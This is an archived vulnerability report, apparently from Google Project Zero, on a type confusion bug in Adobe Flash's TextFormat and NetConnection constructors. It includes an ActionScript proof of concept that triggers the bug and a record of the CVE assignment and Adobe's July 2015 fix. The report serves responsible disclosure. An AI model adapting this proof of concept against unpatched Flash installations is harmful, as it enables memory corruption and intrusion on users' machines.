Adobe Flash: NetConnection Constructor needs Normal Check

[GoogleCodeExporter]

There is a type confusion issue in the TextFormat constructor that is reachable 
because the NetConnection constructor does not verify that the incoming object 
is of type Object (it only checks that the object is not native backed). The 
TextFormat constructor first sets a new object to type TextFormat, and then 
calls into script several times before setting the native backing object. If 
one of these script calls then calls into the NetConnection constructor, the 
object can be set to type NetConnection, and then the native object will be set 
to the TextFormat, leading to type confusion. A PoC is as follows:

In the main SWF:

var a = new subtf();

var b = new NetConnection();
b.connect.call(a, "http://www.google.com", 80);

Defining subtf:

class subtf extends Object{

    public function subtf(){            
    var n = {valueOf : func};
    this.valueOf = func;
    this.toString = func;
    this.__proto__ = {}; 
    this.__proto__.__constructor__ = TextFormat;
    super(this);

}

function func(){

    this.__proto__ = {}; 
    this.__proto__.__constructor__ = NetConnection;
    super();
    return "natalie";
    }           
}

A sample SWF and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 1 Jun 2015 at 10:30

Attachments:

• tfc.fla
• tfc.swf
• subtf.as

[GoogleCodeExporter]

PSIRT-3789

Original comment by natashe...@google.com on 3 Jun 2015 at 9:41

[GoogleCodeExporter]

Original comment by cev...@google.com on 5 Jul 2015 at 6:35

• Added labels: CVE-2015-4433

[GoogleCodeExporter]

Fixed: https://helpx.adobe.com/security/products/flash-player/apsb15-16.html

Original comment by cev...@google.com on 9 Jul 2015 at 12:37

• Changed state: Fixed
• Added labels: Fixed-2015-Jul-8

[GoogleCodeExporter]

Original comment by natashe...@google.com on 3 Aug 2015 at 9:43

• Removed labels: Restrict-View-Commit